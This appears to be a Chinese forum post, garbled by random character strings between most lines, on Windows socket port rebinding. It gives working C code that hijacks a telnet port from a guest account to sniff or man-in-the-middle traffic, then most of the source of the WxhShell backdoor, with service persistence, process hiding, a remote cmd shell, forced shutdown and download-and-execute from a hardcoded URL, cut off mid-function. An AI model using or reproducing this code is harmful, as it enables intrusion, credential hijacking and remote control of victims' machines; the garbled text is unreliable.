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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^TF71uo s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p`-Oz] gkw/Rd1oG saddr.sin_family = AF_INET; (!B1}5" nkn4VA?" saddr.sin_addr.s_addr = htonl(INADDR_ANY); u#"L gG.X !m<v@SmL\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xaG( 3 qlgo#[i 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p,K]`pt= ,`O.0e4pn 这意味着什么?意味着可以进行如下的攻击: QpZCU] 5:sk&0:@U 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hiQ #< \hr2#! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wYAi-gdOi \x9.[?;=e 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n3Q Rn^ e;G}T%W 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Ods/1 KW lrL:v~g 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6z keWR |`,AAa 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .ZK^kcyA s7>a 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A4>j4\A[M |s$w
i>7l #include |b'}.(/3i #include iVe"iH #include ?|NMJQsa7 #include 'NYW`, DWORD WINAPI ClientThread(LPVOID lpParam); U1^3 &N8 int main() 9H#;i]t & { v%$c_'d WORD wVersionRequested; [;RO= DWORD ret; @&xWd{8' WSADATA wsaData; [ qx[ 0 BOOL val; WAqH*LB SOCKADDR_IN saddr; gql^Inx< SOCKADDR_IN scaddr; x^]J^L45 int err; vnS;T+NZSC SOCKET s; sRkPXzK SOCKET sc; qb1JE[2F int caddsize; s5cY> HANDLE mt; %;MM+xVVX DWORD tid; |Jpi|'
wVersionRequested = MAKEWORD( 2, 2 ); SWWeN#Q err = WSAStartup( wVersionRequested, &wsaData ); w1J%%//(h if ( err != 0 ) { ~,O&A B printf("error!WSAStartup failed!\n"); V+Y; return -1; %-J}m } ;:A/WU.^ saddr.sin_family = AF_INET; !<#,M9
EA& .TpM3b#r //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /=IBK` jH~VjE> saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IJ E{JH saddr.sin_port = htons(23); H05xt$J if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) % db { DT#F?@LG( printf("error!socket failed!\n"); m:x<maP#E return -1; }2+*E}g } z=1N}l~|* val = TRUE; Zv&<r+<g //SO_REUSEADDR选项就是可以实现端口重绑定的 ;*[oi if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *aaK_=w { &r0U9J printf("error!setsockopt failed!\n"); T6M=BkcP return -1; X 3q2XU } l:- <CbG //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~;/}D0k$x //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^={s(B2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "l[ c/q[ +b_o2'' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4RyQ^vL { >1S39n5z. ret=GetLastError(); U]}f]GK printf("error!bind failed!\n"); we}G%09L return -1; N SkIzaNY } 'gv~M_ listen(s,2); =+ALh- while(1) Cr>YpWm { 1.IEs:(; caddsize = sizeof(scaddr); He)vl. //接受连接请求 HyGu3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EAZLo; if(sc!=INVALID_SOCKET) Z%$tV3a? { ~.&PQE$DF mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ly( LMr if(mt==NULL) \9N
)71n( { )PCh;P0C printf("Thread Creat Failed!\n"); }=$>w@mJ break; i)=dp!Bx^ } %2,'x } zr@HYl CloseHandle(mt); <:ptNGR } R?5v//[ closesocket(s); Scd_tw.]| WSACleanup(); F~;UD<<"H return 0; HIsB)W&%@ } dh K<5E DWORD WINAPI ClientThread(LPVOID lpParam) d<_#Q7]I4 { HA`qU
SOCKET ss = (SOCKET)lpParam; _>RTefL5 SOCKET sc; :F`"CR^, unsigned char buf[4096]; u`?v- SOCKADDR_IN saddr; N'n\_ x long num; :878q TB DWORD val; [oDu3Qn DWORD ret; w{89@ XRC //如果是隐藏端口应用的话,可以在此处加一些判断 +[Bl@RHe^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 $iMbtA5aQ saddr.sin_family = AF_INET; 8Os: SC@Q saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Aq;WQyZ2 saddr.sin_port = htons(23); 'y%*W:O if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jeWI<ms { N:~CN1 printf("error!socket failed!\n"); SL5QhP return -1; J. $U_k } 2F#DJN# val = 100; ^?R8>97_? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8fWk C<f} { 'bn$"A"{o ret = GetLastError(); A Qm!7, return -1; 'n/L1Fn } uy rS6e0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZVni'ym { ?5j}&Y3 ret = GetLastError(); QE4TvnhK return -1; =58:e7(df } 6rBP,\m if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S1U>Q~ZPA { jg\FD51$ printf("error!socket connect failed!\n"); ?!a8'jfs closesocket(sc); d7P'c!@+ closesocket(ss); }e]tn) return -1; |32uC3?o } ;D|g5$OE& while(1) EYSBC", { LO@o`JF //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bzyy;`;6Q~ //如果是嗅探内容的话,可以再此处进行内容分析和记录 UH`cWV Lpr //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XCj8QM.o num = recv(ss,buf,4096,0); A@ZsL if(num>0) Wa<SYJ send(sc,buf,num,0); Lk2;\ D> else if(num==0) ,;)_$%bHc break; qQp;i{X num = recv(sc,buf,4096,0); C Xh>'K if(num>0) w`X0^<Fv send(ss,buf,num,0); o:PdPuZVR else if(num==0) L "5;< break; M,dp; } g=e~YM85 closesocket(ss); a\*_b2 ^n closesocket(sc); (d*~Qpi{7 return 0 ; x:iLBYf } d8J(~$tXQN @ n^2UJ [!Zyp`: ========================================================== !`0
El',gY {xRO.699 下边附上一个代码,,WXhSHELL ,A[NcFdCB W.nr&yiQ ========================================================== l#& \,T D_M73s!U #include "stdafx.h" Kb~i9x& z8<" #include <stdio.h> -0>s`ruor #include <string.h> pM}n)Q!{3" #include <windows.h> '.*`PN5mDq #include <winsock2.h> iC 4rzgq #include <winsvc.h> 0aa&13!5 #include <urlmon.h> Y*0j/91 6kHuKxY, #pragma comment (lib, "Ws2_32.lib") -\~HAnh #pragma comment (lib, "urlmon.lib") ~;vt{pk >D_!d@Z #define MAX_USER 100 // 最大客户端连接数 Q(jIqY1Hf #define BUF_SOCK 200 // sock buffer :aR_f`KMm #define KEY_BUFF 255 // 输入 buffer AHet,N -=GmI1:=$4 #define REBOOT 0 // 重启 @umn[J#* #define SHUTDOWN 1 // 关机 4P?R "Lk _Lgi5B% #define DEF_PORT 5000 // 监听端口 ( "wmc"qH e4<St`K #define REG_LEN 16 // 注册表键长度 +2,EK
#define SVC_LEN 80 // NT服务名长度 o#hFK'&~ TJUYd9O4[ // 从dll定义API PQXCT|iJ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U*\1d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zp+orc7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cuc+9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d,E2l~s #D^(dz* // wxhshell配置信息 #{5h6IC struct WSCFG { o!zo%#0;#) int ws_port; // 监听端口 s&M#]8x;x char ws_passstr[REG_LEN]; // 口令 r#(*x 2~, int ws_autoins; // 安装标记, 1=yes 0=no i QvqifDmh char ws_regname[REG_LEN]; // 注册表键名 M3s:B& / char ws_svcname[REG_LEN]; // 服务名 "c*#ZP char ws_svcdisp[SVC_LEN]; // 服务显示名 0}9 char ws_svcdesc[SVC_LEN]; // 服务描述信息 #Yx
/ubg6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "ZP)[ [Rd
int ws_downexe; // 下载执行标记, 1=yes 0=no R'$1,ie char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" |?\2F char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XGAR8=tic uQ3W = }; m%U$37A1 y4,t=Gq7^ // default Wxhshell configuration =U}!+ 8f struct WSCFG wscfg={DEF_PORT, zU";\); "xuhuanlingzhe", :nS p
1, G\|P3j "Wxhshell", <x1,4a~ "Wxhshell", 3u oIYY "WxhShell Service", :?:R5_Nd= "Wrsky Windows CmdShell Service", I@ D<rjR "Please Input Your Password: ", 3XhLn/@ 1, :oytJhxU " http://www.wrsky.com/wxhshell.exe", =xr2-K)e "Wxhshell.exe" m6o o-muAr }; C,$7fW{? xG|lmYt76 // 消息定义模块 gW^0A)5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y<m}dW6[\ char *msg_ws_prompt="\n\r? for help\n\r#>"; e7n`fEpO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; bdj')%@n char *msg_ws_ext="\n\rExit."; * & : J char *msg_ws_end="\n\rQuit."; 3^]Kd char *msg_ws_boot="\n\rReboot..."; smPZ%P}P+c char *msg_ws_poff="\n\rShutdown..."; ZmS
]4WM< char *msg_ws_down="\n\rSave to "; bq z*90 K
Vnz{cx` char *msg_ws_err="\n\rErr!"; JnS@}m char *msg_ws_ok="\n\rOK!"; ]Uul~T ; Z2 char ExeFile[MAX_PATH]; ;eC8|
Xz int nUser = 0; ,EH^3ODD HANDLE handles[MAX_USER]; CJt(c,!z int OsIsNt; 6JD~G\$ ^]9.$$GU\A SERVICE_STATUS serviceStatus; JPq' C$ SERVICE_STATUS_HANDLE hServiceStatusHandle; 7upN:7D- `FByME // 函数声明 bf/z
T0 int Install(void); oT9qd@uQ0: int Uninstall(void); m'U>=<!D int DownloadFile(char *sURL, SOCKET wsh); )|
F O> int Boot(int flag); A[H"(E#k void HideProc(void); &,'CHBM int GetOsVer(void); y|(?>\jBl int Wxhshell(SOCKET wsl); |fPR7- void TalkWithClient(void *cs); )OZ int CmdShell(SOCKET sock); k#x"'yZ int StartFromService(void); O7yIFqI=/ int StartWxhshell(LPSTR lpCmdLine); in2m/q? jR"ACup( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e84O
6K6o VOID WINAPI NTServiceHandler( DWORD fdwControl ); y)T|1) B1o*phM
g // 数据结构和表定义 ' [%?j?2r SERVICE_TABLE_ENTRY DispatchTable[] = (
c +M"s { Iy@6cd,)S {wscfg.ws_svcname, NTServiceMain}, )@6iQ {NULL, NULL} 43Ua@KNi }; PDpDkcy|QM _.5ABE // 自我安装 {=, +;/0 int Install(void) ^@;P -0Sy { P=.T|l1 char svExeFile[MAX_PATH]; ^TAf+C^Ry HKEY key; (
\7Yo^ strcpy(svExeFile,ExeFile); B dxV [SF l:j>d^V*&x // 如果是win9x系统,修改注册表设为自启动 B1 xlWdm if(!OsIsNt) { {$'oKJy* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dyt.(2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )pw53,7>aN RegCloseKey(key); ,Ofou8C6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !$#8Z".{v{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P.kf|,8L RegCloseKey(key); v(^;% return 0; &W
N
R{ } 4GexYDk'# } `Lr|KuFN } #./8inbG else { }M &hcw<
cfL:#IM // 如果是NT以上系统,安装为系统服务 b#Vm;6BHD1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $Fv|w9 if (schSCManager!=0) uk)D2.eS, { a
t%qowt SC_HANDLE schService = CreateService h`:B8+k ( c4M]q4]F schSCManager, Ee'wsL wscfg.ws_svcname,
iM"L%6*I^ wscfg.ws_svcdisp, W=2#Q2) SERVICE_ALL_ACCESS, <4%PT2R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +uMK_ds~ SERVICE_AUTO_START, Q`BB@E SERVICE_ERROR_NORMAL, >C -N0H svExeFile, R?}<CjI NULL, S{zl<>+ NULL, -{Fy@$! NULL, Cd7l+~*Y NULL, fi'\{!!3m^ NULL VX e7b ); qnnP*15` if (schService!=0) 92M_Z1_w[ { v.Xmrry CloseServiceHandle(schService); wZ/b;%I! CloseServiceHandle(schSCManager); B2,JfKk/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b#:!b strcat(svExeFile,wscfg.ws_svcname); /y-8dgv0a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \0z<@)r+AJ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W+#Zmvo RegCloseKey(key);
7?2<W-n return 0; d2*uY., } >C/O >g } K(Ak+&[ CloseServiceHandle(schSCManager); Yn8aTg[J } !6eF8T } U9h@1: Sxcp
[g; return 1; >{#QS"J# } y-o54e$4Cq k
Hh0&~( // 自我卸载 mxl"Y&l2< int Uninstall(void) n4
J*04K { }?[a>.]u HKEY key; (BY5omlh YT)@&HaF if(!OsIsNt) { 3=IY0Q>/( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J;Veza RegDeleteValue(key,wscfg.ws_regname); W4:#=.m RegCloseKey(key); !p(N
DQm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ky)*6QOw RegDeleteValue(key,wscfg.ws_regname); ^zR*s |1Q RegCloseKey(key); vSGvv43G return 0; S0tPnwco[~ } `D0Hu!; } *w6(nG'M{ } _[S<Cb*1 else { ;%PI 2~QN#u|UC3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VHx:3G if (schSCManager!=0) L*1yK* { </|m^$v SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L+NrU+:=C if (schService!=0) ]gDX~]f[ { O8 5) ^ if(DeleteService(schService)!=0) { jCL 1Bj CloseServiceHandle(schService); <xr\1VjA CloseServiceHandle(schSCManager); wQN/MYF[ return 0; /t_AiM,( } pFwhvw CloseServiceHandle(schService); CF/8d6}Vf } z460a[Wl CloseServiceHandle(schSCManager); xoN?[ } \Wf1b8FW } ![{0Yw
D S"Drg m. return 1; <CGJ:% AY } N3?hu} v)rQ4
wD: // 从指定url下载文件 7oZtbBs]M int DownloadFile(char *sURL, SOCKET wsh) p/'09FY+ U { N6%M+R/Q HRESULT hr; 7^DN8g"&\ char seps[]= "/"; HMVyXulU char *token; >d$Sh`a6 char *file; #>O>=#Q char myURL[MAX_PATH]; &\AW}xp char myFILE[MAX_PATH]; ZUaqv OsNJ;B strcpy(myURL,sURL); %lS jC%Z'd token=strtok(myURL,seps); f}VIkx]X" while(token!=NULL) a,KqTQB { |M(0CYO file=token; 0v'!(&m token=strtok(NULL,seps); wZKEUJpQ } YH'j"|{ aX|LEZ;D> GetCurrentDirectory(MAX_PATH,myFILE); @Jr@
fF} strcat(myFILE, "\\"); YB"=eld strcat(myFILE, file); +X!QH/ 8 send(wsh,myFILE,strlen(myFILE),0); a_o99lP send(wsh,"...",3,0); Bngvm9k3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CL<m+dW%* if(hr==S_OK) xc_-1u4a9 return 0; TV*@h2C"i else `6 ?.ihV return 1; Gw?$.@L'I6 ,w0Io } lW3wmSWn% d @>1m:p // 系统电源模块
peGh- int Boot(int flag) K)9+3(? { g0A,VX:2 HANDLE hToken; v}BXH4 &Y TOKEN_PRIVILEGES tkp; &KVXU0F^z : 5<u!-}
if(OsIsNt) { 4?.L+wL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W4n(6esO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L3y`*&e> tkp.PrivilegeCount = 1; y~;w`5;| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8&UwnEk< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %2<u>=6byG if(flag==REBOOT) { SX@zDuM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y@Ti2bI`v return 0; ~=Q Tv8 } }+i~JK else { P%Tffsl
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wtqv return 0; zoHFTD4 g } t B Kra } U$^ $7g 3 else { 4-Cca if(flag==REBOOT) { `rZS\A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1$1P9x@H return 0; CyD)=e{ } 5nv1%48Ri else { nbdjk1E`~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6$LQO),, return 0; Z$:iq } Wd]MwDcO } )_\q)t"= vDcYz, return 1; JFh_3r' } zb& 3{, |7%#z~rT // win9x进程隐藏模块 <-F[q'!C1 void HideProc(void) J:oAzBFpA { a474[? ,'>O#kD
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M*7:-Tb]C if ( hKernel != NULL ) HAc1w]{( { Bd>a"3fA pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,BE4z2a ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %rq/jC FreeLibrary(hKernel); =Bw2{]w } zt/N)5\V T7~Vk2o%( return; DBk]2W|i } }<qT[m NH0uK // 获取操作系统版本 o2W^!#]= int GetOsVer(void) eGj[%pk { 5Za%EaW%G OSVERSIONINFO winfo; g~]?6;uu winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0t(js_ GetVersionEx(&winfo); $&jte_hv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p@iU9K\, return 1; ^]ig*oS\` else "]ZDs^7 return 0; xDEjeM G } t(:w):zE ;T*o
RS // 客户端句柄模块 <T+{)FV int Wxhshell(SOCKET wsl) -&JQdrs { -SN6&-#c_ SOCKET wsh; "ot#g" struct sockaddr_in client; 2C"[0*.[N DWORD myID; ,WQg.neOA v]X*(e while(nUser<MAX_USER) K410.o/=- {
6Eyinv int nSize=sizeof(client); h"t\x}8qq wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vk.P| Y-; if(wsh==INVALID_SOCKET) return 1; NNw0
G& 8=,-r`oNy handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (qdvvu#E if(handles[nUser]==0) @23~)uiZa closesocket(wsh); R/Z
zmb{ else d34BJ< nUser++; HMqR%A } ^wxpinJ> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }0~X)Vgm( 2VaKt4+` return 0; qA5 Ug } ^/fasl$# Er@OmNT // 关闭 socket M3Oqto<8" void CloseIt(SOCKET wsh)
e"&QQ-q { 'T(@5%Db closesocket(wsh); !Z<=PdI1Ys nUser--; i6 )HC ExitThread(0); w:07_`cH= } 2sH1),\ x4-_K% // 客户端请求句柄 =Hx]K8N ) void TalkWithClient(void *cs) f[wxt n'r { 6os{q`/Q]) *cAI gO7 SOCKET wsh=(SOCKET)cs; RZP7h>y6@ char pwd[SVC_LEN]; Kjt\A]R% char cmd[KEY_BUFF]; +0g L!r char chr[1]; l;i/$Yu7 int i,j; -mw`f)?Ev p((a(Q/ while (nUser < MAX_USER) { -_ <z_IL\% qylI/,y{ if(wscfg.ws_passstr) { OxqkpK& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SVBo0wvz- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UX%J?;g //ZeroMemory(pwd,KEY_BUFF); 45;ey }8 i=0; _BZ6Ws$C2 while(i<SVC_LEN) { xQkvK=~$ a!B"WNb+ // 设置超时 CN:z
*g fd_set FdRead; ;@xlrj+ struct timeval TimeOut; |dhKeg_ FD_ZERO(&FdRead); W_lXY Z< FD_SET(wsh,&FdRead); N5. B"l TimeOut.tv_sec=8; (9Q@I8}Iy TimeOut.tv_usec=0; "/Pq/\,R| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "{[\VsX|c if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gUY~
l= c u6SQq-)d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^.PCQ~Ql pwd =chr[0]; _{/[&vJ if(chr[0]==0xd || chr[0]==0xa) { G_<4% HM pwd=0; 1$H<Kjsm break; 8kT`5`}lB } `IT]ZAem`/ i++; vUhgM' } GglGFXOL- 45rG\$%# // 如果是非法用户,关闭 socket **JBZ \' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sO{TGk]* } f$ 7C 5 BhhFij4 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xZA.<Yd^r send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Eb2X}XC b8E7/~<z3 while(1) { SG]Sx4fg,Y k$ b) ZeroMemory(cmd,KEY_BUFF);
6ZfL-E{ 'qJ0338d#U // 自动支持客户端 telnet标准 \rd%$hci j=0; e~7FK_y#0 while(j<KEY_BUFF) { r1:CHIwK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j4I ~ cmd[j]=chr[0]; rn/~W[ if(chr[0]==0xa || chr[0]==0xd) { .3&(Y cmd[j]=0; &f2:aT) break; 54=*vokX_ } }(7TiCwd j++; I-#7Oq:Np } h"nhDART< R3%%;` c= // 下载文件 aYn5AP'PH if(strstr(cmd,"http://")) { k-^le|n9 send(wsh,msg_ws_down,strlen(msg_ws_down),0); AEkjy h\ if(DownloadFile(cmd,wsh)) Da8
|eN} send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4w)>} else G.`},c;A- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b!bg sd } UE/JV_/S; else { E^A S65%bL PQp/&D4K switch(cmd[0]) { 0TZB}c#qT sUU[QP- // 帮助 .N( X.C case '?': { `]^W#6l send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n'0r
( break; .f"1(J8 } Ft?eqDS1 // 安装 V>/,&~0 case 'i': { vn!5@""T if(Install()) hQ'W7EF send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]|tR8`DGZ% else +abb[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V~p01f"J break; V0BT./ B\< } c g)>A // 卸载 9p{n7. case 'r': { z%#-2&i if(Uninstall()) L^*f$Balz send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,J,Rup">h else No)0|C8: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); at4JLbk break; D, Gv nfY } )[oP`Z // 显示 wxhshell 所在路径 b.v +5=)B case 'p': { OF03]2j7<| char svExeFile[MAX_PATH]; 1wFW&|>1 strcpy(svExeFile,"\n\r"); S~)`{
\ strcat(svExeFile,ExeFile); 6VVxpDAi: send(wsh,svExeFile,strlen(svExeFile),0); (Gw*xsn 1 break; Tgax ZW } .$7RF!p // 重启 ]YtN6Rq/ case 'b': { ]tf`[bINP send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OGIv".~s4 if(Boot(REBOOT)) J/Lf(;C_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); L]8z6]j* else { 4\5i}MIS0 closesocket(wsh); heL`"Y2'y> ExitThread(0); Z,O*p,Gzn } FzcXSKHV% break; 0|.jIix; } ^b$_I31D // 关机 (qvH=VTwP case 'd': { Q4_r) &np send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o$eCd{HuX if(Boot(SHUTDOWN)) ;mT}Q;F# send(wsh,msg_ws_err,strlen(msg_ws_err),0); q/@+.q else { $}{[_2 closesocket(wsh); ^ghYi|kQq ExitThread(0); n~]"sTC}& } &bz% @p; break; }I-nT!D'y } g(W+[kj) // 获取shell tjt^R$[ @ case 's': { pS|K[:5 CmdShell(wsh); 9TQVgkW closesocket(wsh); |9=A"092{ ExitThread(0); &+&@;2 break; Z|Oq7wzEH } T- _)) // 退出 9:Oz-b case 'x': { oKsArZG send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?&-1(& CloseIt(wsh); 2|=hF9
break; 3qn_9f ] } B}[f]8jrM // 离开 0&j90J$` case 'q': { 0FtwDM)) send(wsh,msg_ws_end,strlen(msg_ws_end),0); /'aqQ
K< closesocket(wsh); (Hj[9[= WSACleanup(); ;Mo_B9 exit(1); ge1. HG break; \*=wm$p&* } M:GpyE% } nj:w1E/R } "3\y~<8%' %~PcJhz // 提示信息 '/NpmNY:L if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w2UEU5% } *U,JQ } `_)H aF>/ vQyY
% return; Vx2/^MiXy } JPAjOcmU/ g i6s+2 // shell模块句柄 L7;~4_M9.V int CmdShell(SOCKET sock) l=p_ { 4NW!{Vw , STARTUPINFO si; KD,3U/3 ZeroMemory(&si,sizeof(si)); #
:k= si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _%=CW'
B si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a`n)aXU l PROCESS_INFORMATION ProcessInfo; OcO/wA(&{ char cmdline[]="cmd"; `DF49YP"~ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /0H}-i return 0; Gmi?xGn } J)Y`G4l2@ G@#lf@M] // 自身启动模式 ofV0L int StartFromService(void) $QwpoVp`~ { /nQuM05*Z typedef struct RW+u5Y { :Q> e54]'& DWORD ExitStatus; _*6]4\; DWORD PebBaseAddress; tRJ5IX ##L DWORD AffinityMask; 6vsA8u(|V# DWORD BasePriority; eZAMV/]jH ULONG UniqueProcessId; A~PR ULONG InheritedFromUniqueProcessId; TT/H"Ri}Jp } PROCESS_BASIC_INFORMATION; tngB;9c+w n}.e(z_" PROCNTQSIP NtQueryInformationProcess; zP%s] >hH gAWi& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XJ\R'?j static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3?a`@C&x HTT&T9] HANDLE hProcess; dhob]8b PROCESS_BASIC_INFORMATION pbi; IZj`*M%3 ,M.}Q ak^ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o& FOp' if(NULL == hInst ) return 0; rL1yq|]I HvG %## g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst 